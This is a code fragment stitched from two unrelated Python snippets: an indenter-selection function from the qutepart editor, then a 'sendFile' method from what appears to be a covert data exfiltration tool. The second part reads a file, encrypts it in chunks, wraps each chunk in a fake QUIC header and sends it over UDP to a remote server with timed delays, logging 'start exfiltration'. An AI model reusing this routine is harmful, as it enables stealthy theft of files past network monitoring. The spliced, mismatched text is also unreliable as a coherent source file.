def _getSmartIndenter(indenterName, qpart, indenter):
    """Get indenter by name.
    Available indenters are none, normal, cstyle, haskell, lilypond, lisp, python, ruby, xml
    Indenter name is not case sensitive
    Raise KeyError if not found
    indentText is indentation, which shall be used. i.e. '\t' for tabs, '    ' for 4 space symbols
    """
    indenterName = indenterName.lower()

    if indenterName in ('haskell', 'lilypond'):  # not supported yet
        logger.warning('Smart indentation for %s not supported yet. But you could be a hero who implemented it' % indenterName)
        from qutepart.indenter.base import IndentAlgNormal as indenterClass
    elif 'none' == indenterName:
        from qutepart.indenter.base import IndentAlgBase as indenterClass
    elif 'normal' == indenterName:
        from qutepart.indenter.base import IndentAlgNormal as indenterClass
    elif 'cstyle' == indenterName:
        from qutepart.indenter.cstyle import IndentAlgCStyle as indenterClass
    elif 'python' == indenterName:
        from qutepart.indenter.python import IndentAlgPython as indenterClass
    elif 'ruby' == indenterName:
        from qutepart.indenter.ruby import IndentAlgRuby as indenterClass
    elif 'xml' == indenterName:
        from qutepart.indenter.xmlindent import IndentAlgXml as indenterClass
    elif 'haskell' == indenterName:
        from qutepart.indenter.haskell import IndenterHaskell as indenterClass
    elif 'lilypond' == indenterName:
        from qutepart.indenter.lilypond import IndenterLilypond as indenterClass
    elif 'lisp' == indenterName:
        from qutepart.indenter.lisp import IndentAlgLisp as indenterClass
    elif 'scheme' == indenterName:
        from qutepart.indenter.scheme import IndentAlgScheme as indenterClass
    else:
        raise KeyError("Indenter %s not found" % indenterName)

    return indenterClass(qpart, indenter)
def sendFile(self, file_path):

        # Get File content
        data = self._getFileContent(file_path)
        if data == 1:
            return 1

        # Check that the file is not too big.
        if len(data) > (self.max_packets * self.max_size):
            sys.stderr.write("[!]\tFile is too big for export.\n")
            return 1

        # If the file is not too big, start exfiltration

        # Exfiltrate first packet
        md5_sum = md5(file_path)                                          # Get MD5 sum of file
        packets_count = (len(data) / self.max_size)+1                     # Total packets
        first_packet = self._getQUICHeader(count=0)                       # Get header for first file
        r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count)         # First header
        r_data = self.AESDriver.encrypt(r_data)                           # Encrypt data
        self.sock.sendto(first_packet + r_data, self.serv_addr)           # Send the data
        sys.stdout.write("[+]\tSent initiation packet.\n")

        # encrypted_content = self.AESDriver.encrypt(data)

        # Encrypt the Chunks
        raw_dat = ""
        chunks = []
        while data:
            raw_dat += data[:self.max_size]
            enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
            print len(enc_chunk)
            chunks.append(enc_chunk)
            data = data[self.max_size:]

        i = 1
        for chunk in chunks:
            this_data = self._getQUICHeader(count=i)
            this_data += chunk
            self.sock.sendto(this_data, self.serv_addr)
            time.sleep(self.delay)
            sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
            i += 1

        sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
        # self.sequence = struct.pack('<' + 'L'*len(parts), *parts)

        return 0